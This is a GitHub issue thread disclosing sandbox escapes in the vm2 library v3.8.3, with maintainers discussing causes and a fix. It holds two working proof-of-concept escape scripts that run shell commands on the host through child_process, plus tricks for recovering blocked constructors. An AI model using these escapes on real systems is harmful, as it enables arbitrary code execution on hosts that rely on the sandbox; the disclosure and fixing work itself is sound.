Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Breakout in v3.8.3 #225

Closed
XmiliaH opened this issue Aug 3, 2019 · 8 comments · Fixed by #233
Closed

Breakout in v3.8.3 #225

XmiliaH opened this issue Aug 3, 2019 · 8 comments · Fixed by #233

Comments

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 3, 2019

One can break out of the sandbox via:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}
@XmiliaH
Copy link
Collaborator Author

XmiliaH commented Aug 3, 2019

And another more game breaking one:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

@jasonfutch
Copy link

Very crafty.. taking advantage of the return error

@alexbarnsley
Copy link

@patriksimek would you mind taking a look at this, please?

@patriksimek
Copy link
Owner

@alexbarnsley I'm still scratching my head with this one.

@manuel-di-iorio
Copy link

manuel-di-iorio commented Sep 4, 2019

By using in vm options sandbox: { TypeError: null } // Same for Error, etc..
I'm able to block the escaping. @XmiliaH do you know if that is safe until a proper fix is applied ?

@XmiliaH
Copy link
Collaborator Author

XmiliaH commented Sep 4, 2019

@manuel-di-iorio you can recover TypeError via:

try {
  null.f();
} catch (e) {
  TypeError = e.constructor;
}

and Object via:

Object = ({}).constructor;

however, I don't know a way to recover Proxy, so the second breakout can't be performed.
To fix the first breakout (not tested) see #231.

@patriksimek for the fix for the second breakout I would suggest to replace:
const proxy = new host.Proxy(object, host.Object.assign(base, traps, deepTraps));
with
const proxy = new host.Proxy(host.Object.create(null), host.Object.assign(base, traps, deepTraps));
if object is not a function and if it is to use a clean host function. These targets should never be used, since you use closures instead. However, some native functions might freak out if the target of the Proxy is wrong. Other things to think about are Object.preventExtensions and Object.defineProperty.

@patriksimek
Copy link
Owner

@XmiliaH I was doing some testing with suggested changes, but unfortunately, half of the unit tests break. I'm trying to figure out how it is even possible to break out the sandbox through the getOwnPropertyDescriptor trap. With the step-by-step debugger I was able to confirm the proxy you created is wrapped by the vm2's proxy, but for some reason, the getOwnPropertyDescriptor trap is only called on your proxy, not on the vm2's proxy.

So I was trying to create a minimal code to reproduce the issue and came up with this:

const a = new Proxy({}, {
	getOwnPropertyDescriptor(){
		debugger;
	}
})

const b = new Proxy(a, {
	getOwnPropertyDescriptor(){
		debugger;
	}
})

Object.getOwnPropertyDescriptor(b);

I was expecting the debugger to pause execution in the proxy trap of the variable a, but in this case, debugger correctly paused in both traps. Any ideas what's happening?

@XmiliaH
Copy link
Collaborator Author

XmiliaH commented Sep 7, 2019

@patriksimek v8 behaves like the specs say it has to. Take a look at Proxy.[[Get]] (P, Receiver). There the specs call in step 11 the target.[[GetOwnProperty]](P), which when target is a proxy calls its handler method. This is done to ensure that the proxy handler does the right thing, for non configurable non writeable properties, since it is not allowed to change them, see step 13.

XmiliaH added a commit to XmiliaH/vm2 that referenced this issue Sep 11, 2019
Should fix patriksimek#225 by tracking proxies and unsing the target of them in case of decontextify instead of them.
@XmiliaH XmiliaH mentioned this issue Sep 11, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging a pull request may close this issue.

5 participants